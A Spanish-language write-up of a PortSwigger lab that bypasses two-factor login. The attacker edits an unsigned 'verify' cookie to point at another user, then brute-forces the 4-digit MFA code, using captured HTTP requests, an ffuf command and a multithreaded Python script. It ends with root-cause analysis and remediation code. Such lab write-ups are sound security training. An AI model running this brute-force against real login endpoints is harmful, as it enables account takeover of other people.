2FA Broken Logic — Brute-Forcing the MFA Code — PortSwigger Lab
Bypass de 2FA manipulando la cookie verify hacia carlos y brute-forcing el código MFA de 4 dígitos sin rate limit.
2FA Broken Logic
1. Target Overview & Vulnerability Summary
| Campo | Valor |
|---|---|
| Severidad | Alta |
| Endpoint vulnerable | POST /login2 |
| Root cause | La identidad del segundo factor se deriva de la cookie manipulable verify y el endpoint de validación del código no aplica rate limit ni invalidación por intentos |
El flujo 2FA almacena el usuario pendiente de verificación en la cookie verify. La cookie es manipulable, de modo que el paso MFA se puede dirigir contra carlos. Además, el endpoint /login2 no limita los intentos, permitiendo brute-forcing del código de 4 dígitos.
2. Technical Breakdown & Exploitation Flow
2.1 Manipulación de la identidad del paso MFA
Se autentica con las credenciales propias y se captura la respuesta del primer paso:
POST /login HTTP/2
Content-Type: application/x-www-form-urlencoded
username=wiener&password=peter
HTTP/2 302 Found
Location: /login2
Set-Cookie: verify=wiener; HttpOnly
Set-Cookie: session=1hJRy2e9nR6MT98bkcrWerzliIwxL244; Secure; HttpOnly; SameSite=None
La cookie verify (sin valor cifrado, solo el nombre de usuario) se modifica a carlos:
HTTP/2 302 Found
Location: /login2
Set-Cookie: verify=carlos; HttpOnly
Set-Cookie: session=1hJRy2e9nR6MT98bkcrWerzliIwxL244; Secure; HttpOnly; SameSite=None
El código enviado por correo a wiener no es válido para la identidad falsificada, así que se opta por brute-forcing del código.
2.2 Fuerza bruta del código MFA
Generar el wordlist 0000-9999:
for i in {0000..9999}; do echo $i; done | tee number00009999.txt
Enviar el código con las cookies session + verify=carlos, filtrando la respuesta Incorrect security code:
POST /login2 HTTP/2
Cookie: session=1hJRy2e9nR6MT98bkcrWerzliIwxL244; verify=carlos
Content-Type: application/x-www-form-urlencoded
mfa-code=FUZZ
~/go/bin/ffuf -request enum.txt -w number00009999.txt:FUZZ -t 1000 -c -fr "Incorrect security code"
Salida:
0032 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 190ms]
El código 0032 devuelve 302 Found (autenticación 2FA completada para carlos).
2.3 Variante con Python
Implementación multihilo equivalente que lanza los 10.000 códigos con una pausa de 50 ms:
#!/usr/bin/env python3
import requests
from threading import Thread
from time import sleep
def sendRequest(url, cookie, number):
loginData = {'mfa-code': number}
print(f'[*] Trying number: {number}', end='\r')
loginRequestText = requests.post(url, cookies=cookie, data=loginData).text
if 'Incorrect security code' not in loginRequestText:
print(f'[+] Found security code: {number}')
def main():
url = 'https://0ab70082049cd0348251387f00ec0010.web-security-academy.net/login2'
cookie = {'session': 'yVEDSZmHbdRymiemDceF5GldatHoDItn', 'verify': 'carlos'}
listNumbers = [f'{i:04d}' for i in range(10000)]
for number in listNumbers:
thread = Thread(target=sendRequest, args=(url, cookie, number))
thread.start()
sleep(0.05)
if __name__ == '__main__':
main()
3. Root Cause Analysis
Dos defectos encadenados:
- Unencrypted/binding-less identity cookie: la cookie
verifycontiene la identidad sin firma ni vínculo con la sesión, permitiendo reasignar el paso MFA a cualquier usuario. - Missing rate limit on the MFA endpoint:
/login2acepta intentos ilimitados, haciendo viable el brute force del espacio de 10.000 códigos.
# Implementación vulnerable
# POST /login2
verify_user = request.cookies["verify"] # ❌ Identidad controlable por el cliente
if valid_mfa(verify_user, request.mfa_code): # ❌ Sin rate limit ni invalidación
session.user = verify_user
redirect("/my-account?id=" + verify_user)
4. Secure Remediation
Derivar la identidad del paso 2FA de la sesión del servidor y limitar los intentos:
# Implementación segura
# POST /login (paso 1)
server_state[token] = {"user": username, "mfa_code": generate_secure_code()}
redirect("/login2", Set-Cookie="mfa_state=<token>") # Token aleatorio, no el username
# POST /login2
state = server_state[request.cookies["mfa_state"]]
if state.user != session.user or invalid:
deny()
if rate_limit_exceeded(state.user, request.ip):
deny()
if valid_mfa(state.user, request.mfa_code):
session.mfa_verified = True
invalidate(state)
redirect("/my-account")
El código debe tener expiración corta, invalidarse tras N fallos (5-10), rotarse por intento fallido y nunca devolverse al cliente como parte del estado.